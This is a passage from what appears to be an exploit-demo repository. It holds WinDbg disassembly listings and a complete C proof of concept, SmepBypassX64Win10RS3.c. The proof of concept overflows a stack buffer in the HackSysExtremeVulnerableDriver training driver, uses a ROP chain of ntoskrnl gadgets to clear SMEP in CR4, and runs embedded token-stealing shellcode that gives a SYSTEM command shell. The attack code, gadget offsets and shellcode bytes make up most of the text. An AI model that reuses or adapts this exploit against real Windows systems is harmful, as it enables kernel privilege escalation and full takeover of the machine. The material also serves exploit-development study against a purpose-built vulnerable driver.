fffff803`a8b8d950 4851 push rcx 42 | fffff803`a8b8d952 50 push rax 43 | fffff803`a8b8d953 52 push rdx 44 | fffff803`a8b8d954 65488b142508620000 mov rdx,qword ptr gs:[6208h] 45 | fffff803`a8b8d95d b970000040 mov ecx,40000070h 46 | fffff803`a8b8d962 0fba3200 btr dword ptr [rdx],0 47 | fffff803`a8b8d966 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff803`a8b8d96e) Branch 48 | nt!HvlEndSystemInterrupt+0x18: 49 | fffff803`a8b8d968 33c0 xor eax,eax 50 | fffff803`a8b8d96a 8bd0 mov edx,eax 51 | fffff803`a8b8d96c 0f30 wrmsr 52 | nt!HvlEndSystemInterrupt+0x1e: 53 | fffff803`a8b8d96e 5a pop rdx 54 | fffff803`a8b8d96f 58 pop rax 55 | fffff803`a8b8d970 59 pop rcx <<< --- gadget... 56 | fffff803`a8b8d971 c3 ret 57 | kd> ? fffff803`a8b8d970 - 0xfffff803`a8a10000 58 | Evaluate expression: 1562992 = 00000000`0017d970 << -- offset.. 59 | kd> uf nt!KiConfigureDynamicProcessor 60 | nt!KiConfigureDynamicProcessor: 61 | fffff803`e223ec38 4883ec28 sub rsp,28h 62 | fffff803`e223ec3c e87b49ffff call nt!KiEnableXSave (fffff803`e22335bc) 63 | fffff803`e223ec41 4883c428 add rsp,28h 64 | fffff803`e223ec45 c3 ret 65 | kd> uf nt!KiEnableXSave 66 | nt!KiEnableXSave: 67 | fffff803`e22335bc 0f20e1 mov rcx,cr4 68 | fffff803`e22335bf 48f7054e4bfdff00008000 test qword ptr [nt!KeFeatureBits (fffff803`e2208118)],800000h 69 | fffff803`e22335ca b800000400 mov eax,40000h 70 | fffff803`e22335cf 0f8450740000 je nt!KiEnableXSave+0x7469 (fffff803`e223aa25) Branch 71 | nt!KiEnableXSave+0x19: 72 | fffff803`e22335d5 4885c8 test rax,rcx 73 | fffff803`e22335d8 7453 je nt!KiEnableXSave+0x71 (fffff803`e223362d) Branch 74 | nt!KiEnableXSave+0x1e: 75 | fffff803`e22335da 48bad803000080f7ffff mov rdx,0FFFFF780000003D8h 76 | fffff803`e22335e4 33c9 xor ecx,ecx 77 | fffff803`e22335e6 488b12 mov rdx,qword ptr [rdx] 78 | fffff803`e22335e9 488bc2 mov rax,rdx 79 | fffff803`e22335ec 48c1ea20 shr rdx,20h 80 | fffff803`e22335f0 0f01d1 xsetbv 81 | fffff803`e22335f3 48baf005000080f7ffff mov rdx,0FFFFF780000005F0h 82 | fffff803`e22335fd 488b12 mov rdx,qword ptr [rdx] 83 | fffff803`e2233600 4885d2 test rdx,rdx 84 | fffff803`e2233603 0f8509740000 jne nt!KiEnableXSave+0x7456 (fffff803`e223aa12) Branch 85 | nt!KiEnableXSave+0x4d: 86 | fffff803`e2233609 65488b0c2520000000 mov rcx,qword ptr gs:[20h] 87 | fffff803`e2233612 488d81f0010000 lea rax,[rcx+1F0h] 88 | fffff803`e2233619 483981c0620000 cmp qword ptr [rcx+62C0h],rax 89 | fffff803`e2233620 740a je nt!KiEnableXSave+0x70 (fffff803`e223362c) Branch 90 | nt!KiEnableXSave+0x66: 91 | fffff803`e2233622 8189c862000040001000 or dword ptr [rcx+62C8h],100040h 92 | nt!KiEnableXSave+0x70: 93 | fffff803`e223362c c3 ret Branch 94 | nt!KiEnableXSave+0x71: 95 | fffff803`e223362d 480bc8 or rcx,rax 96 | fffff803`e2233630 0f22e1 mov cr4,rcx 97 | fffff803`e2233633 eba5 jmp nt!KiEnableXSave+0x1e (fffff803`e22335da) Branch 98 | nt!KiEnableXSave+0x7456: 99 | fffff803`e223aa12 488bc2 mov rax,rdx 100 | fffff803`e223aa15 b9a00d0000 mov ecx,0DA0h 101 | fffff803`e223aa1a 48c1ea20 shr rdx,20h 102 | fffff803`e223aa1e 0f30 wrmsr 103 | fffff803`e223aa20 e9e48bffff jmp nt!KiEnableXSave+0x4d (fffff803`e2233609) Branch 104 | nt!KiEnableXSave+0x7469: 105 | fffff803`e223aa25 4885c8 test rax,rcx 106 | fffff803`e223aa28 0f84fe8bffff je nt!KiEnableXSave+0x70 (fffff803`e223362c) Branch 107 | nt!KiEnableXSave+0x7472: 108 | fffff803`e223aa2e 480fbaf112 btr rcx,12h 109 | fffff803`e223aa33 0f22e1 mov cr4,rcx <<<--- gadget... 110 | fffff803`e223aa36 c3 111 | kd> ? fffff803`e223aa33 - fffff803`e1e06000 112 | Evaluate expression: 4409907 = 00000000`00434a33 <<-- offset.. 113 | */ 114 | 115 | // To better align the buffer, 116 | // it is usefull to declare a 117 | // memory structure, other-wise you will get holes 118 | // in the buffer and end up with an access violation. 119 | typedef struct _RopChain { 120 | PUCHAR HvlEndSystemInterrupt; 121 | PUCHAR Var; 122 | PUCHAR KiEnableXSave; 123 | PUCHAR payload; 124 | // PUCHAR deviceCallBack; 125 | } ROPCHAIN, *PROPCHAIN; 126 | 127 | 128 | // Pack The buffer as: 129 | 130 | ROPCHAIN Chain; 131 | 132 | // nt!HvlEndSystemInterrupt+0x1e --> Pop Rcx; Retn; 133 | Chain.HvlEndSystemInterrupt = Ntos + 0x17d970; 134 | 135 | // kd> r cr4 136 | // ...1506f8 137 | Chain.Var = (PUCHAR)0x506f8; 138 | 139 | 140 | // nt!KiEnableXSave+0x7472 --> Mov Cr4, Rcx; Retn; 141 | Chain.KiEnableXSave = Ntos + 0x434a33; 142 | 143 | Chain.payload = (PUCHAR)pl; 144 | 145 | /* 146 | kd> k 147 | 08 ffffb302`61b1e7f0 fffff802`4f85c20b nt!IofCallDriver+0x59 148 | 09 ffffb302`61b1e830 fffff802`4f85ba5f nt!IopSynchronousServiceTail+0x1ab 149 | 0a ffffb302`61b1e8e0 fffff802`4f85b3c6 nt!IopXxxControlFile+0x67f 150 | 0b ffffb302`61b1ea20 fffff802`4f58f953 nt!NtDeviceIoControlFile+0x56 151 | 0c ffffb302`61b1ea90 00007ffd`fae7d6e4 nt!KiSystemServiceCopyEnd+0x13 152 | 0d 00000029`6b9af888 00007ffd`f75a13aa ntdll!NtDeviceIoControlFile+0x14 153 | 0e 00000029`6b9af890 00000000`00000000 0x00007ffd`f75a13aa 154 | kd> u nt!IofCallDriver+0x59 155 | nt!IofCallDriver+0x59: 156 | fffff802`4f425b49 4883c438 add rsp,38h 157 | fffff802`4f425b4d c3 ret 158 | fffff802`4f425b4e 0fb64001 movzx eax,byte ptr [rax+1] 159 | fffff802`4f425b52 2c02 sub al,2 160 | fffff802`4f425b54 3c01 cmp al,1 161 | fffff802`4f425b56 77dc ja nt!IofCallDriver+0x44 (fffff802`4f425b34) 162 | fffff802`4f425b58 488bca mov rcx,rdx 163 | fffff802`4f425b5b e8c4890f00 call nt!IopPoHandleIrp (fffff802`4f51e524) 164 | 165 | The Call is always in a fixed location from Ntoskrnl... 166 | */ 167 | 168 | // nt!IofCallDriver+0x59 169 | LPVOID deviceCallBack = (LPVOID)(Ntos + 0x22b49); 170 | 171 | ``` 172 | ![](poc/SMEPBypass.PNG) 173 | -------------------------------------------------------------------------------- /Win10/SmepByPassWin10x64build.16281Rs3/SmepBypassX64Win10RS3.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* 4 | <---- 5 | 6 | this very simplified rop chain will get you code execution on the latest win build 7 | and intel firmware dispite Mitigations. 8 | 9 | i think is best to recompile the asseambly & See that Rip gets populated by nt!IofCallDriver+0x59, 10 | address and not to expect the nops to slide you to that addr. 11 | 12 | 13 | it needs ntoskrnl base address or alternatively a kernel pointer leak. 14 | Copy & usage of this software are allowed without any restrictions. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | 24 | NOTE: Recovery from the ShellCode is up to you 25 | & depands on your specific Exploit... 26 | i can only guarantee Code Execution. 27 | 28 | ----> 29 | */ 30 | 31 | 32 | #pragma once 33 | #pragma comment(lib, "Psapi.lib ") 34 | #pragma comment(lib, "Kernel32.lib") 35 | #pragma comment(lib, "ntdll.lib") 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #pragma warning(disable: 6320) 44 | #pragma warning(disable: 4201) 45 | 46 | #define hDev "\\\\.\\HackSysExtremeVulnerableDriver" 47 | #define RipOffset 0x808 48 | #define BuffSize 2152 49 | #define IOCTL 0x222003 50 | 51 | // 52 | // Gagdets Summery: 53 | // 54 | 55 | /* 56 | ************* Symbol Path validation summary ************** 57 | Response Time (ms) Location 58 | Deferred srv* 59 | Symbol search path is: srv* 60 | Executable search path is: 61 | Windows 10 Kernel Version 16281 MP (1 procs) Free x64 62 | Built by: 16281.1000.amd64fre.rs3_release.170829-1438 63 | Machine Name: 64 | Kernel base = 0xfffff803`a8a10000 PsLoadedModuleList = 0xfffff803`a8d79f70 65 | System Uptime: 0 days 0:00:00.419 66 | KDTARGET: Refreshing KD connection 67 | Break instruction exception - code 80000003 (first chance) 68 | 69 | kd> uf nt!KiFlushCurrentTbWorker 70 | nt!KiFlushCurrentTbWorker: 71 | fffff803`a8ab9b0c 0f20e1 mov rcx,cr4 72 | fffff803`a8ab9b0f 84c9 test cl,cl 73 | fffff803`a8ab9b11 790f jns nt!KiFlushCurrentTbWorker+0x16 (fffff803`a8ab9b22) Branch 74 | 75 | nt!KiFlushCurrentTbWorker+0x7: 76 | fffff803`a8ab9b13 488bc1 mov rax,rcx 77 | fffff803`a8ab9b16 480fbaf007 btr rax,7 78 | fffff803`a8ab9b1b 0f22e0 mov cr4,rax 79 | fffff803`a8ab9b1e 0f22e1 mov cr4,rcx <<<< -- gadget.. 80 | fffff803`a8ab9b21 c3 ret 81 | 82 | nt!KiFlushCurrentTbWorker+0x16: 83 | fffff803`a8ab9b22 0f20d8 mov rax,cr3 84 | fffff803`a8ab9b25 0f22d8 mov cr3,rax 85 | fffff803`a8ab9b28 c3 ret 86 | 87 | kd> ? fffff803`a8ab9b1e - 0xfffff803`a8a10000 88 | Evaluate expression: 695070 = 00000000`000a9b1e <<< -- offset from Ntoskrnl... 89 | 90 | kd> uf nt!HvlEndSystemInterrupt 91 | nt!HvlEndSystemInterrupt: 92 | fffff803`a8b8d950 4851 push rcx 93 | fffff803`a8b8d952 50 push rax 94 | fffff803`a8b8d953 52 push rdx 95 | fffff803`a8b8d954 65488b142508620000 mov rdx,qword ptr gs:[6208h] 96 | fffff803`a8b8d95d b970000040 mov ecx,40000070h 97 | fffff803`a8b8d962 0fba3200 btr dword ptr [rdx],0 98 | fffff803`a8b8d966 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff803`a8b8d96e) Branch 99 | 100 | nt!HvlEndSystemInterrupt+0x18: 101 | fffff803`a8b8d968 33c0 xor eax,eax 102 | fffff803`a8b8d96a 8bd0 mov edx,eax 103 | fffff803`a8b8d96c 0f30 wrmsr 104 | 105 | nt!HvlEndSystemInterrupt+0x1e: 106 | fffff803`a8b8d96e 5a pop rdx 107 | fffff803`a8b8d96f 58 pop rax 108 | fffff803`a8b8d970 59 pop rcx <<< --- gadget... 109 | fffff803`a8b8d971 c3 ret 110 | 111 | kd> ? fffff803`a8b8d970 - 0xfffff803`a8a10000 112 | Evaluate expression: 1562992 = 00000000`0017d970 << -- offset.. 113 | 114 | 115 | kd> uf nt!KiConfigureDynamicProcessor 116 | nt!KiConfigureDynamicProcessor: 117 | fffff803`e223ec38 4883ec28 sub rsp,28h 118 | fffff803`e223ec3c e87b49ffff call nt!KiEnableXSave (fffff803`e22335bc) 119 | fffff803`e223ec41 4883c428 add rsp,28h 120 | fffff803`e223ec45 c3 ret 121 | kd> uf nt!KiEnableXSave 122 | nt!KiEnableXSave: 123 | fffff803`e22335bc 0f20e1 mov rcx,cr4 124 | fffff803`e22335bf 48f7054e4bfdff00008000 test qword ptr [nt!KeFeatureBits (fffff803`e2208118)],800000h 125 | fffff803`e22335ca b800000400 mov eax,40000h 126 | fffff803`e22335cf 0f8450740000 je nt!KiEnableXSave+0x7469 (fffff803`e223aa25) Branch 127 | 128 | nt!KiEnableXSave+0x19: 129 | fffff803`e22335d5 4885c8 test rax,rcx 130 | fffff803`e22335d8 7453 je nt!KiEnableXSave+0x71 (fffff803`e223362d) Branch 131 | 132 | nt!KiEnableXSave+0x1e: 133 | fffff803`e22335da 48bad803000080f7ffff mov rdx,0FFFFF780000003D8h 134 | fffff803`e22335e4 33c9 xor ecx,ecx 135 | fffff803`e22335e6 488b12 mov rdx,qword ptr [rdx] 136 | fffff803`e22335e9 488bc2 mov rax,rdx 137 | fffff803`e22335ec 48c1ea20 shr rdx,20h 138 | fffff803`e22335f0 0f01d1 xsetbv 139 | fffff803`e22335f3 48baf005000080f7ffff mov rdx,0FFFFF780000005F0h 140 | fffff803`e22335fd 488b12 mov rdx,qword ptr [rdx] 141 | fffff803`e2233600 4885d2 test rdx,rdx 142 | fffff803`e2233603 0f8509740000 jne nt!KiEnableXSave+0x7456 (fffff803`e223aa12) Branch 143 | 144 | nt!KiEnableXSave+0x4d: 145 | fffff803`e2233609 65488b0c2520000000 mov rcx,qword ptr gs:[20h] 146 | fffff803`e2233612 488d81f0010000 lea rax,[rcx+1F0h] 147 | fffff803`e2233619 483981c0620000 cmp qword ptr [rcx+62C0h],rax 148 | fffff803`e2233620 740a je nt!KiEnableXSave+0x70 (fffff803`e223362c) Branch 149 | 150 | nt!KiEnableXSave+0x66: 151 | fffff803`e2233622 8189c862000040001000 or dword ptr [rcx+62C8h],100040h 152 | 153 | nt!KiEnableXSave+0x70: 154 | fffff803`e223362c c3 ret Branch 155 | 156 | nt!KiEnableXSave+0x71: 157 | fffff803`e223362d 480bc8 or rcx,rax 158 | fffff803`e2233630 0f22e1 mov cr4,rcx 159 | fffff803`e2233633 eba5 jmp nt!KiEnableXSave+0x1e (fffff803`e22335da) Branch 160 | 161 | nt!KiEnableXSave+0x7456: 162 | fffff803`e223aa12 488bc2 mov rax,rdx 163 | fffff803`e223aa15 b9a00d0000 mov ecx,0DA0h 164 | fffff803`e223aa1a 48c1ea20 shr rdx,20h 165 | fffff803`e223aa1e 0f30 wrmsr 166 | fffff803`e223aa20 e9e48bffff jmp nt!KiEnableXSave+0x4d (fffff803`e2233609) Branch 167 | 168 | nt!KiEnableXSave+0x7469: 169 | fffff803`e223aa25 4885c8 test rax,rcx 170 | fffff803`e223aa28 0f84fe8bffff je nt!KiEnableXSave+0x70 (fffff803`e223362c) Branch 171 | 172 | nt!KiEnableXSave+0x7472: 173 | fffff803`e223aa2e 480fbaf112 btr rcx,12h 174 | fffff803`e223aa33 0f22e1 mov cr4,rcx <<<--- gadget... 175 | fffff803`e223aa36 c3 176 | 177 | kd> ? fffff803`e223aa33 - fffff803`e1e06000 178 | Evaluate expression: 4409907 = 00000000`00434a33 <<-- offset.. 179 | 180 | 181 | 182 | kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) 183 | +0x000 Pcb : _KPROCESS 184 | +0x2d8 ProcessLock : _EX_PUSH_LOCK 185 | +0x2e0 UniqueProcessId : 0x00000000`00000004 Void 186 | +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8d87`23050328 - 0xfffff803`a8d72ac0 ] 187 | +0x2f8 RundownProtect : _EX_RUNDOWN_REF 188 | +0x300 Flags2 : 0xd000 189 | +0x300 JobNotReallyActive : 0y0 190 | +0x300 AccountingFolded : 0y0 191 | +0x300 NewProcessReported : 0y0 192 | 193 | ; compie with nasm: 194 | ; nasm.exe sc.asm 195 | ; 196 | ; Token Stealing Payload 197 | ; Win10 x64 RS3 16281. 198 | ; 199 | 200 | [bits 64] 201 | 202 | start: 203 | 204 | ;;push rsp 205 | 206 | ;; kd> uf nt!PsGetCurrentProcess 207 | ;; nt!PsGetCurrentProcess: 208 | ;; mov rax,qword ptr gs:[188h] 209 | ;; mov rax,qword ptr [rax+0B8h] 210 | ;; ret 211 | 212 | ;; kd> dps gs:188 l1 213 | ;; nt!KiInitialThread 214 | 215 | mov rax, [gs:0x188] 216 | mov rax, [rax+0xb8] 217 | 218 | ;; kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) 219 | ;; +0x000 Pcb : _KPROCESS 220 | ;; [...] 221 | ;; +0x2e0 UniqueProcessId : 0x00000000`00000004 Void 222 | ;; +0x2e8 ActiveProcessLinks : _LIST_ENTRY 223 | ;; [...] 224 | ;; +0x358 Token : _EX_FAST_REF 225 | ;; 226 | 227 | ;; place KiInitialThread+b8 228 | ;; in rbx. 229 | 230 | mov rbx, rax 231 | loop: 232 | mov rbx, [rbx+0x2e8] ;; Get the next process 233 | sub rbx, 0x2e8 234 | mov rcx, [rbx+0x2e0] ;; place process in rcx 235 | cmp rcx, 4 ;; Compare to System pid. 236 | jnz loop 237 | 238 | mov rcx, [rbx + 0x358] 239 | and cl, 0xf0 ;; Null the token 240 | mov [rax + 0x358], rcx 241 | 242 | ;xor rax, rax 243 | ;add rsp, 28h 244 | ;retn 245 | add rsp, 38h 246 | ;;pop rsp 247 | xor rsi, rsi 248 | xor rax, rax 249 | xor rdi, rdi 250 | ret 251 | 252 | "\xCC" --> DebugBreak(); 253 | "\x65\x48\x8B\x04\x25\x88\x01" 254 | "\x00\x00\x48\x8B\x80\xB8\x00\x00\x00\x48\x89" 255 | "\xC3\x48\x8B\x9B\xE8\x02\x00\x00\x48" 256 | "\x81\xEB\xE8\x02\x00\x00\x48\x8B\x8B\xE0\x02\x00\x00\x48\x83\xF9\x04\x75" 257 | "\xE5\x48\x8B\x8B\x58\x03\x00\x00\x80" 258 | "\xE1\xF0\x48\x89\x88\x58\x03\x00\x00\x48\x83\xC4\x38\x48" 259 | "\x31\xF6\x48\x31\xC0\x48\x31\xFF" 260 | "\xCC" --> DebugBreak(); 261 | "\xC3" 262 | 263 | */ 264 | /* 265 | 266 | nt!HvlEndSystemInterrupt+0x1e: 267 | fffff803`bfa1196e 5a pop rdx 268 | fffff803`bfa1196f 58 pop rax 269 | fffff803`bfa11970 59 pop rcx 270 | fffff803`bfa11971 c3 ret 271 | 272 | kd> vertarget 273 | Windows 10 Kernel Version 16281 MP (1 procs) Free x64 274 | Product: WinNt, suite: TerminalServer SingleUserTS Personal 275 | Built by: 16281.1000.amd64fre.rs3_release.170829-1438 276 | Machine Name: 277 | Kernel base = 0xfffff803`bf894000 PsLoadedModuleList = 0xfffff803`bfbfdf70 278 | Debug session time: Wed Sep 6 06:38:12.535 2017 (UTC - 7:00) 279 | System Uptime: 0 days 0:03:33.196 280 | kd> ? fffff803`bfa1196e - fffff803`bf894000 281 | Evaluate expression: 1562990 = 00000000`0017d96e 282 | 283 | 284 | */ 285 | 286 | // 287 | // Get Ntoskrnl ImageBase address, 288 | // to compute the gagdets for disabling 289 | // SMEP. 290 | // 291 | PUCHAR 292 | GetNtos( 293 | ) 294 | { 295 | // defines. 296 | typedef enum _SYSTEM_INFORMATION_CLASS { 297 | SystemBasicInformation = 0, 298 | SystemPerformanceInformation = 2, 299 | SystemTimeOfDayInformation = 3, 300 | SystemProcessInformation = 5, 301 | SystemProcessorPerformanceInformation = 8, 302 | SystemModuleInformation = 11, 303 | SystemInterruptInformation = 23, 304 | SystemExceptionInformation = 33, 305 | SystemRegistryQuotaInformation = 37, 306 | SystemLookasideInformation = 45 307 | } SYSTEM_INFORMATION_CLASS; 308 | 309 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 310 | HANDLE Section; 311 | PVOID MappedBase; 312 | PVOID ImageBase; 313 | ULONG ImageSize; 314 | ULONG Flags; 315 | USHORT LoadOrderIndex; 316 | USHORT InitOrderIndex; 317 | USHORT LoadCount; 318 | USHORT OffsetToFileName; 319 | UCHAR FullPathName[256]; 320 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 321 | 322 | typedef struct _SYSTEM_MODULE_INFORMATION { 323 | ULONG NumberOfModules; 324 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 325 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 326 | 327 | typedef NTSTATUS(__stdcall *pfZwQuerySystemInformation)( 328 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 329 | PVOID SystemInformation, 330 | ULONG SystemInformationLength, 331 | PULONG ReturnLength 332 | ); 333 | 334 | DWORD l; 335 | PSYSTEM_MODULE_INFORMATION Mi; 336 | PVOID Nt = NULL; 337 | 338 | // Dynamic import. 339 | pfZwQuerySystemInformation ZwQuerySystemInformation = (pfZwQuerySystemInformation)GetProcAddress( 340 | GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); 341 | ZwQuerySystemInformation(SystemModuleInformation, NULL, NULL, &l); 342 | 343 | // Medium integrity level ( > win7 ), 344 | // if run from low il, then return NULL. 345 | Mi = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc( 346 | NULL, 347 | l, 348 | MEM_COMMIT | MEM_RESERVE, 349 | PAGE_READWRITE 350 | ); 351 | 352 | if (!Mi){return NULL;} 353 | 354 | ZwQuerySystemInformation(SystemModuleInformation, Mi, l, &l); 355 | Nt = Mi->Module[0].ImageBase; 356 | 357 | // No longer needed, free the memory. 358 | VirtualFree(Mi, 0, MEM_RELEASE); 359 | return (PUCHAR)Nt; 360 | } 361 | 362 | int main( 363 | void 364 | ) 365 | { 366 | 367 | // To better align the buffer, 368 | // it is usefull to declare a 369 | // memory structure, other-wise you will get holes 370 | // in the buffer and end up with an access violation. 371 | typedef struct _RopChain { 372 | PUCHAR HvlEndSystemInterrupt; 373 | PUCHAR Var; 374 | PUCHAR KiEnableXSave; 375 | PUCHAR payload; 376 | // PUCHAR deviceCallBack; 377 | } ROPCHAIN, *PROPCHAIN; 378 | 379 | HANDLE dev = CreateFileA( 380 | hDev, 381 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 382 | FILE_SHARE_READ | FILE_SHARE_WRITE, 383 | NULL, 384 | OPEN_EXISTING, 385 | FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 386 | NULL 387 | ); 388 | 389 | // 390 | // maybe the driver is not installed, 391 | // No reason to allocate heap memory 392 | // if so. 393 | if (dev == INVALID_HANDLE_VALUE) { 394 | exit(GetLastError()); 395 | } 396 | 397 | CHAR sc[] = // "\xCC" // __debugbreak(); 398 | "\x65\x48\x8B\x04" 399 | "\x25\x88\x01\x00" 400 | "\x00\x48\x8B\x80\xB8\x00\x00" 401 | "\x00\x48\x89\xC3\x48\x8B\x9B" 402 | "\xE8\x02\x00\x00\x48" 403 | "\x81\xEB" 404 | "\xE8\x02\x00\x00\x48" 405 | "\x8B\x8B\xE0\x02" 406 | "\x00\x00\x48" 407 | "\x83\xF9\x04\x75" 408 | "\xE5\x48\x8B\x8B\x58" 409 | "\x03\x00\x00\x80\xE1\xF0\x48" 410 | "\x89\x88\x58\x03" 411 | "\x00\x00\x48\x83\xC4\x68\x48" 412 | "\x31\xC0\x48\x31\xFF\x48\x31" 413 | "\xE4" 414 | // "\xCC" // __debugbreak(); 415 | "\xC3"; 416 | 417 | auto pl = VirtualAlloc( 418 | NULL, 419 | sizeof(sc), 420 | MEM_COMMIT | MEM_RESERVE, 421 | PAGE_EXECUTE_READWRITE 422 | ); 423 | 424 | memcpy(pl,sc,sizeof(sc)); 425 | 426 | auto Ntos = GetNtos(); 427 | 428 | if (Ntos == NULL) { 429 | exit(GetLastError()); 430 | } 431 | 432 | ROPCHAIN Chain; 433 | 434 | // nt!HvlEndSystemInterrupt+0x1e --> Pop Rcx; Retn; 435 | Chain.HvlEndSystemInterrupt = Ntos + 0x17d970; 436 | 437 | // kd> r cr4 438 | // ...1506f8 439 | Chain.Var = (PUCHAR)0x506f8; 440 | 441 | 442 | // nt!KiEnableXSave+0x7472 --> Mov Cr4, Rcx; Retn; 443 | Chain.KiEnableXSave = Ntos + 0x434a33; 444 | 445 | Chain.payload = (PUCHAR)pl; 446 | 447 | /* 448 | 449 | kd> k 450 | 08 ffffb302`61b1e7f0 fffff802`4f85c20b nt!IofCallDriver+0x59 451 | 09 ffffb302`61b1e830 fffff802`4f85ba5f nt!IopSynchronousServiceTail+0x1ab 452 | 0a ffffb302`61b1e8e0 fffff802`4f85b3c6 nt!IopXxxControlFile+0x67f 453 | 0b ffffb302`61b1ea20 fffff802`4f58f953 nt!NtDeviceIoControlFile+0x56 454 | 0c ffffb302`61b1ea90 00007ffd`fae7d6e4 nt!KiSystemServiceCopyEnd+0x13 455 | 0d 00000029`6b9af888 00007ffd`f75a13aa ntdll!NtDeviceIoControlFile+0x14 456 | 0e 00000029`6b9af890 00000000`00000000 0x00007ffd`f75a13aa 457 | 458 | kd> u nt!IofCallDriver+0x59 459 | nt!IofCallDriver+0x59: 460 | fffff802`4f425b49 4883c438 add rsp,38h 461 | fffff802`4f425b4d c3 ret 462 | fffff802`4f425b4e 0fb64001 movzx eax,byte ptr [rax+1] 463 | fffff802`4f425b52 2c02 sub al,2 464 | fffff802`4f425b54 3c01 cmp al,1 465 | fffff802`4f425b56 77dc ja nt!IofCallDriver+0x44 (fffff802`4f425b34) 466 | fffff802`4f425b58 488bca mov rcx,rdx 467 | fffff802`4f425b5b e8c4890f00 call nt!IopPoHandleIrp (fffff802`4f51e524) 468 | 469 | The Call is always in a fixed location from Ntoskrnl... 470 | */ 471 | 472 | // nt!IofCallDriver+0x59 473 | LPVOID deviceCallBack = (LPVOID)(Ntos + 0x22b49); 474 | 475 | CHAR *Buff; 476 | 477 | auto len = RipOffset + sizeof(ROPCHAIN) + sizeof(LPVOID); 478 | 479 | /* 480 | kd> k 481 | # Child-SP RetAddr Call Site 482 | 00 ffffb783`0d0378c8 41414141`41414141 HEVD+0x5708 483 | 01 ffffb783`0d0378d0 41414141`41414141 0x41414141`41414141 484 | 02 ffffb783`0d0378d8 fffff803`a8b8d970 0x41414141`41414141 485 | 03 ffffb783`0d0378e0 fffff803`a8ab9b1e nt!HvlEndSystemInterrupt+0x20 486 | 04 ffffb783`0d0378f0 00000000`00000000 nt!KiFlushCurrentTbWorker+0x12 487 | */ 488 | 489 | Buff = (CHAR *)malloc(len); 490 | 491 | // Fill The buffer with Nop's, 492 | // cuz they dont get access violation. 493 | RtlSecureZeroMemory(Buff, len); 494 | RtlFillMemory(Buff, len, 0x90); 495 | 496 | // Rip Offset --> RopChain... 497 | memcpy(Buff + RipOffset, &Chain, sizeof(ROPCHAIN)); 498 | 499 | // Rip Offset + RopChain --> nt!IofCallDriver+0x59 500 | memcpy(Buff + RipOffset + sizeof(ROPCHAIN), &deviceCallBack, sizeof(LPVOID)); 501 | 502 | DWORD Ret = 0; 503 | 504 | try { 505 | auto yRet = DeviceIoControl( 506 | dev, IOCTL, Buff, 507 | BuffSize, NULL, NULL, 508 | &Ret, (LPOVERLAPPED)NULL 509 | ); 510 | } 511 | catch (...) { 512 | } 513 | 514 | //__debugbreak(); 515 | 516 | system("cmd.exe"); 517 | system("pause"); 518 | CloseHandle(dev); 519 | return 0; 520 | } 521 | 522 | 523 | 524 | 525 | -------------------------------------------------------------------------------- /Win10/SmepByPassWin10x64build.16281Rs3/poc/QuickPoc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/Win10/SmepByPassWin10x64build.16281Rs3/poc/QuickPoc.gif -------------------------------------------------------------------------------- /Win10/SmepByPassWin10x64build.16281Rs3/poc/SMEPBypass.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/Win10/SmepByPassWin10x64build.16281Rs3/poc/SMEPBypass.PNG -------------------------------------------------------------------------------- /poc/RS3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/poc/RS3.gif -------------------------------------------------------------------------------- /poc/kl.txt: -------------------------------------------------------------------------------- 1 | .. --------------------------------------------------------------------------------